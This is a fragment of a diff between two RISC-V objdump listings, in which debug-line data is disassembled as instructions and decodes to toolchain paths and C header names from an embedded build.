-    15ae:	0100                	addi	s0,sp,128
-    15b0:	0a090103          	lb	sp,160(s2)
-    15b4:	0100                	addi	s0,sp,128
-    15b6:	0b05                	addi	s6,s6,1
-    15b8:	0306                	slli	t1,t1,0x1
-    15ba:	0900                	addi	s0,sp,144
+    10cc:	0602                	c.slli64	a2
+    10ce:	02090603          	lb	a2,32(s2)
+    10d2:	0100                	addi	s0,sp,128
+    10d4:	0405                	addi	s0,s0,1
+    10d6:	0306                	slli	t1,t1,0x1
+    10d8:	0900                	addi	s0,sp,144
+    10da:	0000                	unimp
+    10dc:	0501                	addi	a0,a0,0
+    10de:	01030603          	lb	a2,16(t1)
+    10e2:	0409                	addi	s0,s0,2
+    10e4:	0100                	addi	s0,sp,128
+    10e6:	0205                	addi	tp,tp,1
+    10e8:	04090203          	lb	tp,64(s2)
+    10ec:	0100                	addi	s0,sp,128
+    10ee:	0105                	addi	sp,sp,1
+    10f0:	0306                	slli	t1,t1,0x1
+    10f2:	0901                	addi	s2,s2,0
+    10f4:	0000                	unimp
+    10f6:	0901                	addi	s2,s2,0
+    10f8:	000e                	c.slli	zero,0x3
+    10fa:	0100                	addi	s0,sp,128
+    10fc:	f001                	bnez	s0,ffc <__stack_size+0x7fc>
+    10fe:	000e                	c.slli	zero,0x3
+    1100:	0300                	addi	s0,sp,384
+    1102:	c100                	sw	s0,0(a0)
+    1104:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
+    1108:	fb01                	bnez	a4,1018 <__stack_size+0x818>
+    110a:	0d0e                	slli	s10,s10,0x3
+    110c:	0100                	addi	s0,sp,128
+    110e:	0101                	addi	sp,sp,0
+    1110:	0001                	nop
+    1112:	0000                	unimp
+    1114:	0001                	nop
+    1116:	0100                	addi	s0,sp,128
+    1118:	2e2e                	fld	ft8,200(sp)
+    111a:	6168732f          	0x6168732f
+    111e:	6572                	flw	fa0,28(sp)
+    1120:	0064                	addi	s1,sp,12
+    1122:	6d6f682f          	0x6d6f682f
+    1126:	2f65                	jal	18de <__stack_size+0x10de>
+    1128:	6972                	flw	fs2,28(sp)
+    112a:	2f766373          	csrrsi	t1,0x2f7,12
+    112e:	6f74                	flw	fa3,92(a4)
+    1130:	2f736c6f          	jal	s8,37c26 <__stack_size+0x37426>
+    1134:	6972                	flw	fs2,28(sp)
+    1136:	2d766373          	csrrsi	t1,0x2d7,12
+    113a:	2d756e67          	0x2d756e67
+    113e:	6f74                	flw	fa3,92(a4)
+    1140:	68636c6f          	jal	s8,377c6 <__stack_size+0x36fc6>
+    1144:	6961                	lui	s2,0x18
+    1146:	2d6e                	fld	fs10,216(sp)
+    1148:	6568                	flw	fa0,76(a0)
+    114a:	6678                	flw	fa4,76(a2)
+    114c:	7669                	lui	a2,0xffffa
+    114e:	2f65                	jal	1906 <__stack_size+0x1106>
+    1150:	696c                	flw	fa1,84(a0)
+    1152:	2f62                	fld	ft10,24(sp)
+    1154:	2f636367          	0x2f636367
+    1158:	6972                	flw	fs2,28(sp)
+    115a:	36766373          	csrrsi	t1,0x367,12
+    115e:	2d34                	fld	fa3,88(a0)
+    1160:	6e75                	lui	t3,0x1d
+    1162:	776f6e6b          	0x776f6e6b
+    1166:	2d6e                	fld	fs10,216(sp)
+    1168:	6c65                	lui	s8,0x19
+    116a:	2f66                	fld	ft10,88(sp)
+    116c:	3031                	jal	978 <__stack_size+0x178>
+    116e:	312e                	fld	ft2,232(sp)
+    1170:	302e                	fld	ft0,232(sp)
+    1172:	636e692f          	0x636e692f
+    1176:	756c                	flw	fa1,108(a0)
+    1178:	6564                	flw	fs1,76(a0)
+    117a:	2e00                	fld	fs0,24(a2)
+    117c:	2f2e                	fld	ft10,200(sp)
+    117e:	72616873          	csrrsi	a6,0x726,2
+    1182:	6465                	lui	s0,0x19
+    1184:	636e692f          	0x636e692f
+    1188:	756c                	flw	fa1,108(a0)
+    118a:	6564                	flw	fs1,76(a0)
+    118c:	2f00                	fld	fs0,24(a4)
+    118e:	6f68                	flw	fa0,92(a4)
+    1190:	656d                	lui	a0,0x1b
+    1192:	7369722f          	0x7369722f
+    1196:	742f7663          	bgeu	t5,sp,18e2 <__stack_size+0x10e2>
+    119a:	736c6f6f          	jal	t5,c78d0 <__stack_size+0xc70d0>
+    119e:	7369722f          	0x7369722f
+    11a2:	672d7663          	bgeu	s10,s2,180e <__stack_size+0x100e>
+    11a6:	756e                	flw	fa0,248(sp)
+    11a8:	742d                	lui	s0,0xfffeb
+    11aa:	636c6f6f          	jal	t5,c77e0 <__stack_size+0xc6fe0>
+    11ae:	6168                	flw	fa0,68(a0)
+    11b0:	6e69                	lui	t3,0x1a
+    11b2:	682d                	lui	a6,0xb
+    11b4:	7865                	lui	a6,0xffff9
+    11b6:	6966                	flw	fs2,88(sp)
+    11b8:	6576                	flw	fa0,92(sp)
+    11ba:	7369722f          	0x7369722f
+    11be:	34367663          	bgeu	a2,gp,150a <__stack_size+0xd0a>
+    11c2:	752d                	lui	a0,0xfffeb
+    11c4:	6b6e                	flw	fs6,216(sp)
+    11c6:	6f6e                	flw	ft10,216(sp)
+    11c8:	652d6e77          	0x652d6e77
+    11cc:	666c                	flw	fa1,76(a2)
+    11ce:	636e692f          	0x636e692f
+    11d2:	756c                	flw	fa1,108(a0)
+    11d4:	6564                	flw	fs1,76(a0)
+    11d6:	2f00                	fld	fs0,24(a4)
+    11d8:	6f68                	flw	fa0,92(a4)
+    11da:	656d                	lui	a0,0x1b
+    11dc:	7369722f          	0x7369722f
+    11e0:	742f7663          	bgeu	t5,sp,192c <__stack_size+0x112c>
+    11e4:	736c6f6f          	jal	t5,c791a <__stack_size+0xc711a>
+    11e8:	7369722f          	0x7369722f
+    11ec:	672d7663          	bgeu	s10,s2,1858 <__stack_size+0x1058>
+    11f0:	756e                	flw	fa0,248(sp)
+    11f2:	742d                	lui	s0,0xfffeb
+    11f4:	636c6f6f          	jal	t5,c782a <__stack_size+0xc702a>
+    11f8:	6168                	flw	fa0,68(a0)
+    11fa:	6e69                	lui	t3,0x1a
+    11fc:	682d                	lui	a6,0xb
+    11fe:	7865                	lui	a6,0xffff9
+    1200:	6966                	flw	fs2,88(sp)
+    1202:	6576                	flw	fa0,92(sp)
+    1204:	7369722f          	0x7369722f
+    1208:	34367663          	bgeu	a2,gp,1554 <__stack_size+0xd54>
+    120c:	752d                	lui	a0,0xfffeb
+    120e:	6b6e                	flw	fs6,216(sp)
+    1210:	6f6e                	flw	ft10,216(sp)
+    1212:	652d6e77          	0x652d6e77
+    1216:	666c                	flw	fa1,76(a2)
+    1218:	636e692f          	0x636e692f
+    121c:	756c                	flw	fa1,108(a0)
+    121e:	6564                	flw	fs1,76(a0)
+    1220:	7379732f          	0x7379732f
+    1224:	2e00                	fld	fs0,24(a2)
+    1226:	2f2e                	fld	ft10,200(sp)
+    1228:	7865                	lui	a6,0xffff9
+    122a:	2f74                	fld	fa3,216(a4)
+    122c:	756d                	lui	a0,0xffffb
+    122e:	746c                	flw	fa1,108(s0)
+    1230:	7a69                	lui	s4,0xffffa
+    1232:	00656e6f          	jal	t3,57238 <__stack_size+0x56a38>
+    1236:	6d6f682f          	0x6d6f682f
+    123a:	2f65                	jal	19f2 <__stack_size+0x11f2>
+    123c:	6972                	flw	fs2,28(sp)
+    123e:	2f766373          	csrrsi	t1,0x2f7,12
+    1242:	6f74                	flw	fa3,92(a4)
+    1244:	2f736c6f          	jal	s8,37d3a <__stack_size+0x3753a>
+    1248:	6972                	flw	fs2,28(sp)
+    124a:	2d766373          	csrrsi	t1,0x2d7,12
+    124e:	2d756e67          	0x2d756e67
+    1252:	6f74                	flw	fa3,92(a4)
+    1254:	68636c6f          	jal	s8,378da <__stack_size+0x370da>
+    1258:	6961                	lui	s2,0x18
+    125a:	2d6e                	fld	fs10,216(sp)
+    125c:	6568                	flw	fa0,76(a0)
+    125e:	6678                	flw	fa4,76(a2)
+    1260:	7669                	lui	a2,0xffffa
+    1262:	2f65                	jal	1a1a <__stack_size+0x121a>
+    1264:	6972                	flw	fs2,28(sp)
+    1266:	36766373          	csrrsi	t1,0x367,12
+    126a:	2d34                	fld	fa3,88(a0)
+    126c:	6e75                	lui	t3,0x1d
+    126e:	776f6e6b          	0x776f6e6b
+    1272:	2d6e                	fld	fs10,216(sp)
+    1274:	6c65                	lui	s8,0x19
+    1276:	2f66                	fld	ft10,88(sp)
+    1278:	6e69                	lui	t3,0x1a
+    127a:	64756c63          	bltu	a0,t2,18d2 <__stack_size+0x10d2>
+    127e:	2f65                	jal	1a36 <__stack_size+0x1236>
+    1280:	616d                	addi	sp,sp,240
+    1282:	6e696863          	bltu	s2,t1,1972 <__stack_size+0x1172>
+    1286:	0065                	c.nop	25
+    1288:	6d00                	flw	fs0,24(a0)
+    128a:	7365                	lui	t1,0xffff9
+    128c:	65676173          	csrrsi	sp,0x656,14
+    1290:	6148                	flw	fa0,4(a0)
+    1292:	646e                	flw	fs0,216(sp)
+    1294:	696c                	flw	fa1,84(a0)
+    1296:	676e                	flw	fa4,216(sp)
+    1298:	632e                	flw	ft6,200(sp)
+    129a:	0100                	addi	s0,sp,128
+    129c:	0000                	unimp
+    129e:	69647473          	csrrci	s0,0x696,8
+    12a2:	746e                	flw	fs0,248(sp)
+    12a4:	672d                	lui	a4,0xb
+    12a6:	682e6363          	bltu	t3,sp,192c <__stack_size+0x112c>
+    12aa:	0200                	addi	s0,sp,256
+    12ac:	0000                	unimp
+    12ae:	6f5a                	flw	ft10,148(sp)
+    12b0:	656e                	flw	fa0,216(sp)
+    12b2:	654d                	lui	a0,0x13
+    12b4:	67617373          	csrrci	t1,0x676,2
+    12b8:	2e65                	jal	1670 <__stack_size+0xe70>
+    12ba:	0068                	addi	a0,sp,12
+    12bc:	73000003          	lb	zero,1840(zero) # 730 <__stack_size-0xd0>
+    12c0:	7274                	flw	fa3,100(a2)
+    12c2:	6e69                	lui	t3,0x1a
+    12c4:	00682e67          	0x682e67
+    12c8:	0004                	0x4
+    12ca:	7300                	flw	fs0,32(a4)
+    12cc:	6474                	flw	fa3,76(s0)
+    12ce:	6f69                	lui	t5,0x1a
+    12d0:	682e                	flw	fa6,200(sp)
+    12d2:	0400                	addi	s0,sp,512
+    12d4:	0000                	unimp
+    12d6:	6c647473          	csrrci	s0,0x6c6,8
+    12da:	6269                	lui	tp,0x1a
+    12dc:	682e                	flw	fa6,200(sp)
+    12de:	0400                	addi	s0,sp,512
+    12e0:	0000                	unimp
+    12e2:	6e75                	lui	t3,0x1d
+    12e4:	7369                	lui	t1,0xffffa
+    12e6:	6474                	flw	fa3,76(s0)
+    12e8:	682e                	flw	fa6,200(sp)
+    12ea:	0500                	addi	s0,sp,640
+    12ec:	0000                	unimp
+    12ee:	656d                	lui	a0,0x1b
+    12f0:	67617373          	csrrci	t1,0x676,2
+    12f4:	4865                	li	a6,25
+    12f6:	6e61                	lui	t3,0x18
+    12f8:	6c64                	flw	fs1,92(s0)
+    12fa:	6e69                	lui	t3,0x1a
+    12fc:	00682e67          	0x682e67
+    1300:	6d000003          	lb	zero,1744(zero) # 6d0 <__stack_size-0x130>
+    1304:	6c75                	lui	s8,0x1d
+    1306:	6974                	flw	fa3,84(a0)
+    1308:	6f7a                	flw	ft10,156(sp)
+    130a:	656e                	flw	fa0,216(sp)
+    130c:	682e                	flw	fa6,200(sp)
+    130e:	0600                	addi	s0,sp,768
+    1310:	0000                	unimp
+    1312:	69647473          	csrrci	s0,0x696,8
+    1316:	746e                	flw	fs0,248(sp)
+    1318:	682e                	flw	fa6,200(sp)
+    131a:	0200                	addi	s0,sp,256
+    131c:	0000                	unimp
+    131e:	6e75                	lui	t3,0x1d
+    1320:	7369                	lui	t1,0xffffa
+    1322:	6474                	flw	fa3,76(s0)
+    1324:	682e                	flw	fa6,200(sp)
+    1326:	0400                	addi	s0,sp,512
+    1328:	0000                	unimp
+    132a:	615f 736e 2e69      	0x2e69736e615f
+    1330:	0068                	addi	a0,sp,12
+    1332:	0004                	0x4
+    1334:	6e00                	flw	fs0,24(a2)
+    1336:	7765                	lui	a4,0xffff9
+    1338:	696c                	flw	fa1,84(a0)
+    133a:	2e62                	fld	ft8,24(sp)
+    133c:	0068                	addi	a0,sp,12
+    133e:	0004                	0x4
+    1340:	5f00                	lw	s0,56(a4)
+    1342:	656e                	flw	fa0,216(sp)
+    1344:	62696c77          	0x62696c77
+    1348:	765f 7265 6973      	0x69737265765f
+    134e:	682e6e6f          	jal	t3,e79d0 <__stack_size+0xe71d0>
+    1352:	0400                	addi	s0,sp,512
+    1354:	0000                	unimp
+    1356:	666e6f63          	bltu	t3,t1,19d4 <__stack_size+0x11d4>
+    135a:	6769                	lui	a4,0x1a
+    135c:	682e                	flw	fa6,200(sp)
+    135e:	0500                	addi	s0,sp,640
+    1360:	0000                	unimp
+    1362:	6569                	lui	a0,0x1a
+    1364:	6565                	lui	a0,0x19
+    1366:	7066                	flw	ft0,120(sp)
+    1368:	682e                	flw	fa6,200(sp)
+    136a:	0700                	addi	s0,sp,896
+    136c:	0000                	unimp
+    136e:	6566                	flw	fa0,88(sp)
+    1370:	7461                	lui	s0,0xffff8
+    1372:	7275                	lui	tp,0xffffd
+    1374:	7365                	lui	t1,0xffff9
+    1376:	682e                	flw	fa6,200(sp)
+    1378:	0500                	addi	s0,sp,640
+    137a:	0000                	unimp
+    137c:	66656463          	bltu	a0,t1,19e4 <__stack_size+0x11e4>
+    1380:	00682e73          	csrrs	t3,0x6,a6
+    1384:	0005                	c.nop	1
+    1386:	5f00                	lw	s0,56(a4)
+    1388:	6564                	flw	fs1,76(a0)
+    138a:	6166                	flw	ft2,88(sp)
+    138c:	6c75                	lui	s8,0x1d
+    138e:	5f74                	lw	a3,124(a4)
+    1390:	7974                	flw	fa3,116(a0)
+    1392:	6570                	flw	fa2,76(a0)
+    1394:	00682e73          	csrrs	t3,0x6,a6
+    1398:	73000007          	0x73000007
+    139c:	6474                	flw	fa3,76(s0)
+    139e:	6564                	flw	fs1,76(a0)
+    13a0:	2e66                	fld	ft8,88(sp)
+    13a2:	0068                	addi	a0,sp,12
+    13a4:	0002                	c.slli64	zero
+    13a6:	7400                	flw	fs0,40(s0)
+    13a8:	7079                	c.lui	zero,0xffffe
+    13aa:	7365                	lui	t1,0xffff9
+    13ac:	682e                	flw	fa6,200(sp)
+    13ae:	0500                	addi	s0,sp,640
+    13b0:	0000                	unimp
+    13b2:	745f 7079 7365      	0x73657079745f
+    13b8:	682e                	flw	fa6,200(sp)
+    13ba:	0700                	addi	s0,sp,896
+    13bc:	0000                	unimp
+    13be:	745f 7079 7365      	0x73657079745f
+    13c4:	682e                	flw	fa6,200(sp)
+    13c6:	0500                	addi	s0,sp,640
+    13c8:	0000                	unimp
+    13ca:	735f 6474 6e69      	0x6e696474735f
+    13d0:	2e74                	fld	fa3,216(a2)
+    13d2:	0068                	addi	a0,sp,12
+    13d4:	0005                	c.nop	1
+    13d6:	6500                	flw	fs0,8(a0)
+    13d8:	646e                	flw	fs0,216(sp)
+    13da:	6169                	addi	sp,sp,208
+    13dc:	2e6e                	fld	ft8,216(sp)
+    13de:	0068                	addi	a0,sp,12
+    13e0:	5f000007          	0x5f000007
+    13e4:	6e65                	lui	t3,0x19
+    13e6:	6964                	flw	fs1,84(a0)
+    13e8:	6e61                	lui	t3,0x18
+    13ea:	682e                	flw	fa6,200(sp)
+    13ec:	0700                	addi	s0,sp,896
+    13ee:	0000                	unimp
+    13f0:	656c6573          	csrrsi	a0,0x656,24
+    13f4:	682e7463          	bgeu	t3,sp,1a7c <__stack_size+0x127c>
+    13f8:	0500                	addi	s0,sp,640
+    13fa:	0000                	unimp
+    13fc:	735f 6769 6573      	0x65736769735f
+    1402:	2e74                	fld	fa3,216(a2)
+    1404:	0068                	addi	a0,sp,12
+    1406:	0005                	c.nop	1
+    1408:	5f00                	lw	s0,56(a4)
+    140a:	6974                	flw	fa3,84(a0)
+    140c:	656d                	lui	a0,0x1b
+    140e:	6176                	flw	ft2,92(sp)
+    1410:	2e6c                	fld	fa1,216(a2)
+    1412:	0068                	addi	a0,sp,12
+    1414:	0005                	c.nop	1
+    1416:	7400                	flw	fs0,40(s0)
+    1418:	6d69                	lui	s10,0x1a
+    141a:	7365                	lui	t1,0xffff9
+    141c:	6570                	flw	fa2,76(a0)
+    141e:	00682e63          	0x682e63
+    1422:	0005                	c.nop	1
+    1424:	5f00                	lw	s0,56(a4)
+    1426:	6974                	flw	fa3,84(a0)
+    1428:	656d                	lui	a0,0x1b
+    142a:	63657073          	csrci	0x636,10
+    142e:	682e                	flw	fa6,200(sp)
+    1430:	0500                	addi	s0,sp,640
+    1432:	0000                	unimp
+    1434:	705f 6874 6572      	0x65726874705f
+    143a:	6461                	lui	s0,0x18
+    143c:	7974                	flw	fa3,116(a0)
+    143e:	6570                	flw	fa2,76(a0)
+    1440:	00682e73          	csrrs	t3,0x6,a6
+    1444:	0005                	c.nop	1
+    1446:	7300                	flw	fs0,32(a4)
+    1448:	64656863          	bltu	a0,t1,1a98 <__stack_size+0x1298>
+    144c:	682e                	flw	fa6,200(sp)
+    144e:	0500                	addi	s0,sp,640
+    1450:	0000                	unimp
+    1452:	7974                	flw	fa3,116(a0)
+    1454:	6570                	flw	fa2,76(a0)
+    1456:	00682e73          	csrrs	t3,0x6,a6
+    145a:	72000007          	0x72000007
+    145e:	6565                	lui	a0,0x19
+    1460:	746e                	flw	fs0,248(sp)
+    1462:	682e                	flw	fa6,200(sp)
+    1464:	0500                	addi	s0,sp,640
+    1466:	0000                	unimp
+    1468:	6f6c                	flw	fa1,92(a4)
+    146a:	682e6b63          	bltu	t3,sp,1b00 <__stack_size+0x1300>
+    146e:	0500                	addi	s0,sp,640
+    1470:	0000                	unimp
+    1472:	6c5f 636f 6c61      	0x6c61636f6c5f
+    1478:	2e65                	jal	1830 <__stack_size+0x1030>
+    147a:	0068                	addi	a0,sp,12
+    147c:	0005                	c.nop	1
+    147e:	7300                	flw	fs0,32(a4)
+    1480:	7274                	flw	fa3,100(a2)
+    1482:	6e69                	lui	t3,0x1a
+    1484:	682e7367          	0x682e7367
+    1488:	0400                	addi	s0,sp,512
+    148a:	0000                	unimp
+    148c:	69727473          	csrrci	s0,0x697,4
+    1490:	676e                	flw	fa4,216(sp)
+    1492:	682e                	flw	fa6,200(sp)
+    1494:	0500                	addi	s0,sp,640
+    1496:	0000                	unimp
+    1498:	61647473          	csrrci	s0,0x616,8
+    149c:	6772                	flw	fa4,28(sp)
+    149e:	682e                	flw	fa6,200(sp)
+    14a0:	0200                	addi	s0,sp,256
+    14a2:	0000                	unimp
+    14a4:	69647473          	csrrci	s0,0x696,8
+    14a8:	00682e6f          	jal	t3,834ae <__stack_size+0x82cae>
+    14ac:	0005                	c.nop	1
+    14ae:	7300                	flw	fs0,32(a4)
+    14b0:	6474                	flw	fa3,76(s0)
+    14b2:	696c                	flw	fa1,84(a0)
+    14b4:	2e62                	fld	ft8,24(sp)
+    14b6:	0068                	addi	a0,sp,12
+    14b8:	61000007          	0x61000007
+    14bc:	6c6c                	flw	fa1,92(s0)
+    14be:	2e61636f          	jal	t1,177a4 <__stack_size+0x16fa4>
+    14c2:	0068                	addi	a0,sp,12
+    14c4:	0004                	0x4
+    14c6:	0000                	unimp
+    14c8:	2305                	jal	19e8 <__stack_size+0x11e8>
+    14ca:	0500                	addi	s0,sp,640
+    14cc:	0002                	c.slli64	zero
+    14ce:	0000                	unimp
+    14d0:	1400                	addi	s0,sp,544
+    14d2:	0205                	addi	tp,tp,1
+    14d4:	00090203          	lb	tp,0(s2) # 18000 <__stack_size+0x17800>
+    14d8:	0100                	addi	s0,sp,128
+    14da:	00090103          	lb	sp,0(s2)
+    14de:	0100                	addi	s0,sp,128
+    14e0:	00090203          	lb	tp,0(s2)
+    14e4:	0100                	addi	s0,sp,128
+    14e6:	00090203          	lb	tp,0(s2)
+    14ea:	0100                	addi	s0,sp,128
+    14ec:	0705                	addi	a4,a4,1
+    14ee:	00090003          	lb	zero,0(s2)
+    14f2:	0100                	addi	s0,sp,128
+    14f4:	1805                	addi	a6,a6,-31
+    14f6:	00090003          	lb	zero,0(s2)
+    14fa:	0100                	addi	s0,sp,128
+    14fc:	2305                	jal	1a1c <__stack_size+0x121c>
+    14fe:	0306                	slli	t1,t1,0x1
+    1500:	0979                	addi	s2,s2,30
+    1502:	0000                	unimp
+    1504:	0301                	addi	t1,t1,0
+    1506:	0900                	addi	s0,sp,144
+    1508:	0000                	unimp
+    150a:	0501                	addi	a0,a0,0
+    150c:	030c                	addi	a1,sp,384
+    150e:	00000907          	0x907
+    1512:	0501                	addi	a0,a0,0
+    1514:	0308                	addi	a0,sp,384
+    1516:	0906                	slli	s2,s2,0x1
+    1518:	0000                	unimp
+    151a:	0301                	addi	t1,t1,0
+    151c:	090c                	addi	a1,sp,144
+    151e:	0000                	unimp
+    1520:	0501                	addi	a0,a0,0
+    1522:	0306                	slli	t1,t1,0x1
+    1524:	0902                	c.slli64	s2
+    1526:	0000                	unimp
+    1528:	0501                	addi	a0,a0,0
+    152a:	09010307          	0x9010307
+    152e:	0000                	unimp
+    1530:	0301                	addi	t1,t1,0
+    1532:	0902                	c.slli64	s2
+    1534:	0000                	unimp
+    1536:	0501                	addi	a0,a0,0
+    1538:	0306                	slli	t1,t1,0x1
+    153a:	0901                	addi	s2,s2,0
+    153c:	0000                	unimp
+    153e:	0501                	addi	a0,a0,0
+    1540:	0305                	addi	t1,t1,1
+    1542:	0000096f          	jal	s2,1542 <__stack_size+0xd42>
+    1546:	0501                	addi	a0,a0,0
+    1548:	0609                	addi	a2,a2,2
+    154a:	00097b03          	0x97b03
+    154e:	0100                	addi	s0,sp,128
+    1550:	0305                	addi	t1,t1,1
+    1552:	00090203          	lb	tp,0(s2)
+    1556:	0100                	addi	s0,sp,128
+    1558:	0705                	addi	a4,a4,1
+    155a:	00090003          	lb	zero,0(s2)
+    155e:	0100                	addi	s0,sp,128
+    1560:	00090003          	lb	zero,0(s2)
+    1564:	0100                	addi	s0,sp,128
+    1566:	00090003          	lb	zero,0(s2)
+    156a:	0100                	addi	s0,sp,128
+    156c:	00090003          	lb	zero,0(s2)
+    1570:	0100                	addi	s0,sp,128
+    1572:	00090003          	lb	zero,0(s2)
+    1576:	0100                	addi	s0,sp,128
+    1578:	00090003          	lb	zero,0(s2)
+    157c:	0100                	addi	s0,sp,128
+    157e:	00090003          	lb	zero,0(s2)
+    1582:	0100                	addi	s0,sp,128
+    1584:	00090003          	lb	zero,0(s2)
+    1588:	0100                	addi	s0,sp,128
+    158a:	00090003          	lb	zero,0(s2)
+    158e:	0100                	addi	s0,sp,128
+    1590:	00090003          	lb	zero,0(s2)
+    1594:	0100                	addi	s0,sp,128
+    1596:	00090003          	lb	zero,0(s2)
+    159a:	0100                	addi	s0,sp,128
+    159c:	0605                	addi	a2,a2,1
+    159e:	0306                	slli	t1,t1,0x1
+    15a0:	0900                	addi	s0,sp,144
+    15a2:	0000                	unimp
+    15a4:	0501                	addi	a0,a0,0
+    15a6:	0604                	addi	s1,sp,768
+    15a8:	00090203          	lb	tp,0(s2)
+    15ac:	0100                	addi	s0,sp,128
+    15ae:	0805                	addi	a6,a6,1
+    15b0:	0306                	slli	t1,t1,0x1
+    15b2:	0900                	addi	s0,sp,144
+    15b4:	0000                	unimp
+    15b6:	0501                	addi	a0,a0,0
+    15b8:	09000307          	0x9000307
     15bc:	0000                	unimp
     15be:	0501                	addi	a0,a0,0
-    15c0:	030a                	slli	t1,t1,0x2
-    15c2:	0900                	addi	s0,sp,144
-    15c4:	0008                	0x8
-    15c6:	0501                	addi	a0,a0,0
-    15c8:	002d                	c.nop	11
-    15ca:	0402                	c.slli64	s0
-    15cc:	0601                	addi	a2,a2,0
-    15ce:	02090003          	lb	zero,32(s2)
+    15c0:	0605                	addi	a2,a2,1
+    15c2:	00090103          	lb	sp,0(s2)
+    15c6:	0100                	addi	s0,sp,128
+    15c8:	00090003          	lb	zero,0(s2)
+    15cc:	0100                	addi	s0,sp,128
+    15ce:	00090003          	lb	zero,0(s2)
     15d2:	0100                	addi	s0,sp,128
-    15d4:	0705                	addi	a4,a4,1
-    15d6:	0c090103          	lb	sp,192(s2)
-    15da:	0100                	addi	s0,sp,128
-    15dc:	0605                	addi	a2,a2,1
-    15de:	08090103          	lb	sp,128(s2)
-    15e2:	0100                	addi	s0,sp,128
-    15e4:	10090203          	lb	tp,256(s2)
-    15e8:	0100                	addi	s0,sp,128
-    15ea:	0f05                	addi	t5,t5,1
+    15d4:	00090003          	lb	zero,0(s2)
+    15d8:	0100                	addi	s0,sp,128
+    15da:	2505                	jal	1bfa <__stack_size+0x13fa>
+    15dc:	0200                	addi	s0,sp,256
+    15de:	0204                	addi	s1,sp,256
+    15e0:	00097903          	0x97903
+    15e4:	0100                	addi	s0,sp,128
+    15e6:	2905                	jal	1a16 <__stack_size+0x1216>
+    15e8:	0200                	addi	s0,sp,256
+    15ea:	0204                	addi	s1,sp,256
     15ec:	0306                	slli	t1,t1,0x1
     15ee:	0900                	addi	s0,sp,144
     15f0:	0000                	unimp
     15f2:	0501                	addi	a0,a0,0
-    15f4:	0606                	slli	a2,a2,0x1
-    15f6:	06097603          	0x6097603
-    15fa:	0100                	addi	s0,sp,128
-    15fc:	0f05                	addi	t5,t5,1
-    15fe:	0306                	slli	t1,t1,0x1
-    1600:	0900                	addi	s0,sp,144
-    1602:	0000                	unimp
-    1604:	0901                	addi	s2,s2,0
-    1606:	0006                	c.slli	zero,0x1
-    1608:	0100                	addi	s0,sp,128
-    160a:	0501                	addi	a0,a0,0
-    160c:	02050013          	addi	zero,a0,32 # 1b020 <__stack_size+0x1a820>
-    1610:	22ec                	fld	fa1,192(a3)
-    1612:	2040                	fld	fs0,128(s0)
-    1614:	0102dc03          	lhu	s8,16(t0)
-    1618:	0205                	addi	tp,tp,1
-    161a:	00090203          	lb	tp,0(s2)
-    161e:	0100                	addi	s0,sp,128
-    1620:	1305                	addi	t1,t1,-31
-    1622:	0306                	slli	t1,t1,0x1
-    1624:	097e                	slli	s2,s2,0x1f
-    1626:	0000                	unimp
-    1628:	0501                	addi	a0,a0,0
-    162a:	0319                	addi	t1,t1,6
-    162c:	0902                	c.slli64	s2
-    162e:	0002                	c.slli64	zero
-    1630:	0501                	addi	a0,a0,0
-    1632:	097e0313          	addi	t1,t3,151
-    1636:	000c                	0xc
-    1638:	0501                	addi	a0,a0,0
-    163a:	0319                	addi	t1,t1,6
-    163c:	0902                	c.slli64	s2
-    163e:	000a                	c.slli	zero,0x2
+    15f4:	0018                	0x18
+    15f6:	0402                	c.slli64	s0
+    15f8:	0602                	c.slli64	a2
+    15fa:	00090003          	lb	zero,0(s2)
+    15fe:	0100                	addi	s0,sp,128
+    1600:	0205                	addi	tp,tp,1
+    1602:	0200                	addi	s0,sp,256
+    1604:	0204                	addi	s1,sp,256
+    1606:	0306                	slli	t1,t1,0x1
+    1608:	0900                	addi	s0,sp,144
+    160a:	0000                	unimp
+    160c:	0501                	addi	a0,a0,0
+    160e:	0301                	addi	t1,t1,0
+    1610:	00000923          	sb	zero,18(zero) # 12 <__stack_size-0x7ee>
+    1614:	0501                	addi	a0,a0,0
+    1616:	0605                	addi	a2,a2,1
+    1618:	00096b03          	0x96b03
+    161c:	0100                	addi	s0,sp,128
+    161e:	2b05                	jal	1b4e <__stack_size+0x134e>
+    1620:	00090003          	lb	zero,0(s2)
+    1624:	0100                	addi	s0,sp,128
+    1626:	3505                	jal	1446 <__stack_size+0xc46>
+    1628:	0306                	slli	t1,t1,0x1
+    162a:	0900                	addi	s0,sp,144
+    162c:	0000                	unimp
+    162e:	0501                	addi	a0,a0,0
+    1630:	0605                	addi	a2,a2,1
+    1632:	00090103          	lb	sp,0(s2)
+    1636:	0100                	addi	s0,sp,128
+    1638:	0805                	addi	a6,a6,1
+    163a:	0306                	slli	t1,t1,0x1
+    163c:	0900                	addi	s0,sp,144
+    163e:	0000                	unimp
     1640:	0501                	addi	a0,a0,0
-    1642:	0331                	addi	t1,t1,12
-    1644:	0900                	addi	s0,sp,144
-    1646:	0004                	0x4
+    1642:	0335                	addi	t1,t1,13
+    1644:	097f                	0x97f
+    1646:	0000                	unimp
     1648:	0501                	addi	a0,a0,0
-    164a:	0319                	addi	t1,t1,6
-    164c:	0900                	addi	s0,sp,144
-    164e:	0008                	0x8
-    1650:	0501                	addi	a0,a0,0
-    1652:	0331                	addi	t1,t1,12
-    1654:	0900                	addi	s0,sp,144
-    1656:	0002                	c.slli64	zero
-    1658:	0501                	addi	a0,a0,0
-    165a:	0344                	addi	s1,sp,388
-    165c:	0900                	addi	s0,sp,144
-    165e:	0006                	c.slli	zero,0x1
-    1660:	0501                	addi	a0,a0,0
-    1662:	0331                	addi	t1,t1,12
-    1664:	0900                	addi	s0,sp,144
-    1666:	0008                	0x8
-    1668:	0501                	addi	a0,a0,0
-    166a:	0344                	addi	s1,sp,388
-    166c:	0900                	addi	s0,sp,144
-    166e:	0002                	c.slli64	zero
-    1670:	0501                	addi	a0,a0,0
-    1672:	09000357          	0x9000357
-    1676:	0008                	0x8
-    1678:	0501                	addi	a0,a0,0
-    167a:	0602                	c.slli64	a2
-    167c:	10090203          	lb	tp,256(s2)
-    1680:	0100                	addi	s0,sp,128
-    1682:	0505                	addi	a0,a0,1
-    1684:	0306                	slli	t1,t1,0x1
+    164a:	0605                	addi	a2,a2,1
+    164c:	00090403          	lb	s0,0(s2)
+    1650:	0100                	addi	s0,sp,128
+    1652:	0a05                	addi	s4,s4,1
+    1654:	0306                	slli	t1,t1,0x1
+    1656:	0900                	addi	s0,sp,144
+    1658:	0000                	unimp
+    165a:	0501                	addi	a0,a0,0
